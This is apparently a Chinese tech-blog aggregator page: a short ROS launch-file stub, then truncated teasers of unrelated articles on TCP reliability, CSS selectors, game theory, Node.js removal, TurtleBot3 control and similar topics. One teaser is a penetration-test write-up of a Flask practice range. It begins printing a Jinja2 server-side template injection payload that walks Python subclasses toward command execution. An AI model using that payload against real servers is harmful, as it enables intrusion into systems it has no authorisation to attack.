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ros启动节点的launch文件你真的会写吗?

<launch><!-- 启动节点 --><node name="lidar_data_feature_detection_node" pkg="lidar_data_feature_detection" type="lidar_data_feature_detection" output="screen" />

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AMEYA360:循序积累立体布局,北京君正实景展示AI-ISP

北京君正集成电路股份有限公司(下称“北京君正”)是国内较早深耕智能安防及泛视觉解决方案的芯片供应商之一&#xff0c;也是国内同时掌握CPU、VPU、ISP、AIE等核心技术的创新企业之一&#xff0c;自成立以来始终深耕行业&#xff0c;并持续迭代创新产品及创新方案。 在2023 CP…...

10.31 知识总结(选择器、css属性相关)

一、选择器 1.1 属性选择器 通过标签的属性来查找标签&#xff0c;标签都有属性 <div class"c1" id"d1"></div> id值和class值是每个标签都自带的属性&#xff0c;还有另外一种&#xff1a;自定义属性 <div class"c1" id"d1…...

【网络协议】聊聊TCP如何做到可靠传输的

网络是不可靠的&#xff0c;所以在TCP协议中通过各种算法等机制保证数据传输的可靠性。生活中如何保证消息可靠传输的&#xff0c;那么就是采用一发一收的方式&#xff0c;但是这样其实效率并不高&#xff0c;所以通常采用的是累计确认或者累计应答。 如何实现一个靠谱的协议&…...

记一次flask框架环境综合渗透测试

PART.01 登入过程 访问靶场地址http://101.43.22.226/?name2023&#xff0c;框架为Flask。 2. 测试存在ssti注入。 3. 直接执行以下命令。 http://101.43.22.226/?name{% for c in [].class.base.subclasses() %} {% if c.name ‘catch_warnings’ %} {% for b in c.i…...

博弈论学习笔记(2)——完全信息静态博弈

前言 这部分我们学习的是完全信息静态博弈&#xff0c;主要内容包括博弈论的基本概念、战略式博弈、Nash均衡、Nash均衡解的特性、以及Nash均衡的应用。 零、绪论 1、什么是博弈论 1&#xff09;博弈的定义 博弈论&#xff1a;研究决策主体的行为发生直接相互作用时候的决策…...

【COMP304 LEC4 LEC5】

LEC 4 1. Truth-Functionality Propositional logic 的connectives&#xff08;连接词&#xff09;are truth-functional 但是&#xff0c;有时候的描述不是true-functional的&#xff0c;比如&#xff1a;"Knowing that", "It is necessary that",&quo…...

表白墙(服务器)

目录 0.需求 1.创建Maven项目 2.给pom.xml内引入三个依赖 3.完善目录&#xff0c;并补充web.xml中的内容 4.编写代码 后端代码 ​编辑前端代码 5.引入数据库 创建message表 创建工具类 往MessageServlet类中添加方法 0.需求 前面写好了表白墙页面&#xff0c;但存…...

在 Mac 中卸载 Node.js

在 Mac 中卸载 Node.js&#xff0c;可以选择以下两种方法&#xff1a; 使用命令行卸载 Node.js 第一步&#xff1a;打开终端&#xff0c;输入以下命令显示 Node.js 的安装路径&#xff1a; which node 执行该命令后&#xff0c;会显示安装路径&#xff1a;/usr/local/bin/n…...

Hafnium构建选项及FVP模型调用

安全之安全(security)博客目录导读 目录 一、Hafnium构建选项 二、FVP模型调用 一、Hafnium构建选项 本节解释了在支持基于FF-A的SPM (SPMD位于EL3, SPMC位于S-EL1、S-EL2或EL3)的情况下进行构建时涉及的TF-A构建选项:...

第44天:前端及html、Http协议

前端 前端是所有跟用户直接打交道的都可以称之为是前端&#xff0c;比如&#xff1a;PC页面、手机页面、平板页面、汽车显示屏、大屏幕展示出来的都是前端内容。 前端的用处&#xff1a; 学了前端以后我们就可以做全栈工程师(会后端、会前端、会DB、会运维等),能够写一些简单的…...

shell_63.Linux产生信号

Linux 系统信号 信号 值 描述 1 SIGHUP 挂起&#xff08;hang up&#xff09;进程 2 SIGINT 中断&#xff08;interrupt&#xff09;进程 3 SIGQUIT 停止&#xff08;stop&#xff09;进程 9 …...

互联网摸鱼日报(2023-11-01)

互联网摸鱼日报(2023-11-01) 36氪新闻 毫末智行张凯&#xff1a;2023年高阶智能辅助驾驶市场迎来大爆发 ​撕开三星、金士顿市场&#xff0c;国产老牌存储器企业出海三年&#xff0c;营收翻三倍&#xff5c;insight全球 给医生一双“透视眼”&#xff0c;「锦瑟医疗」专注开…...

AR的光学原理?

AR智能眼镜的光学成像系统 AR眼镜的光学成像系统由微型显示屏和光学镜片组成&#xff0c;可以将其理解为智能手机的屏幕。 增强现实&#xff0c;从本质上说&#xff0c;是将设备生成的影像与现实世界进行叠加融合。这种技术基本就是通过光学镜片组件对微型显示屏幕发出的光线…...

语义分割 实例分割的异同点

语义分割和实例分割是计算机视觉领域中两个相关但不同的任务&#xff0c;它们都涉及对图像像素进行分类和标记&#xff0c;但关注的对象和目标有所不同。 目标对象&#xff1a; 语义分割&#xff1a;语义分割的目标是将图像中的每个像素标记为对应的语义类别&#xff0c;即将…...

C++学习初探---‘C++面向对象‘-继承函数重载与运算符重载

文章目录 前言继承继承是什么&#xff1f;三种访问权限的继承&#xff1a; 函数重载与运算符重载函数重载运算符重载可重载运算符&不可重载运算符 前言 第三次学习记录&#xff0c;依旧是C面向对象的内容。 继承 继承是什么&#xff1f; C中的继承是一种面向对象编程&am…...

Linux下搭建SRS服务器环境

搭建环境 Ubuntu的Linux环境srs 安装源码&#xff1a;源码地址为&#xff1a;GitHub - ossrs/srs at 3.0release 搭建步骤 下载srs源码 git clone GitHub - ossrs/srs: SRS is a simple, high-efficiency, real-time video server supporting RTMP, WebRTC, HLS, HTTP-FLV,…...

pytest 使用(一)

pytest 使用pytest&#xff0c;默认的测试用例的规则以及基础应用pytest测试用例的运行方式pytest执行测试用例的顺序是怎样的呢&#xff1f;如何分组执行&#xff08;冒烟&#xff0c;分模块执行&#xff0c;分接口和web执行&#xff09;pytest跳过测试用例 b站课程链接 使用…...

基于秃鹰算法的无人机航迹规划-附代码

基于秃鹰算法的无人机航迹规划 文章目录 基于秃鹰算法的无人机航迹规划1.秃鹰搜索算法2.无人机飞行环境建模3.无人机航迹规划建模4.实验结果4.1地图创建4.2 航迹规划 5.参考文献6.Matlab代码 摘要&#xff1a;本文主要介绍利用秃鹰算法来优化无人机航迹规划。 1.秃鹰搜索算法 …...

08. 按键输入

08. 按键输入 按键原理图代码编写GPIO驱动代码按键驱动代码主函数 加上清除BSS段&#xff0c;代码不运行 按键原理图 按键KEY0连接到了UART1_CTS上。默认情况下&#xff0c;KEY0为高&#xff0c;当按下KEY0后&#xff0c;UART1_CTS为低电平 代码编写 在bsp下创建一个key和一个…...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?

Golang 面试经典题&#xff1a;map 的 key 可以是什么类型&#xff1f;哪些不可以&#xff1f; 在 Golang 的面试中&#xff0c;map 类型的使用是一个常见的考点&#xff0c;其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

通过Wrangler CLI在worker中创建数据库和表

官方使用文档&#xff1a;Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后&#xff0c;会在本地和远程创建数据库&#xff1a; npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库&#xff1a; 现在&#xff0c;您的Cloudfla…...

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU&#xff1a;如何让RNN变得更聪明&#xff1f; 在深度学习的世界里&#xff0c;循环神经网络&#xff08;RNN&#xff09;以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而&#xff0c;传统RNN存在的一个严重问题——梯度消失&#…...

Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具

文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...

屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!

5月28日&#xff0c;中天合创屋面分布式光伏发电项目顺利并网发电&#xff0c;该项目位于内蒙古自治区鄂尔多斯市乌审旗&#xff0c;项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站&#xff0c;总装机容量为9.96MWp。 项目投运后&#xff0c;每年可节约标煤3670…...

GitHub 趋势日报 (2025年06月08日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别

OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...

基于TurtleBot3在Gazebo地图实现机器人远程控制

1. TurtleBot3环境配置 # 下载TurtleBot3核心包 mkdir -p ~/catkin_ws/src cd ~/catkin_ws/src git clone -b noetic-devel https://github.com/ROBOTIS-GIT/turtlebot3.git git clone -b noetic https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git git clone -b noetic-dev…...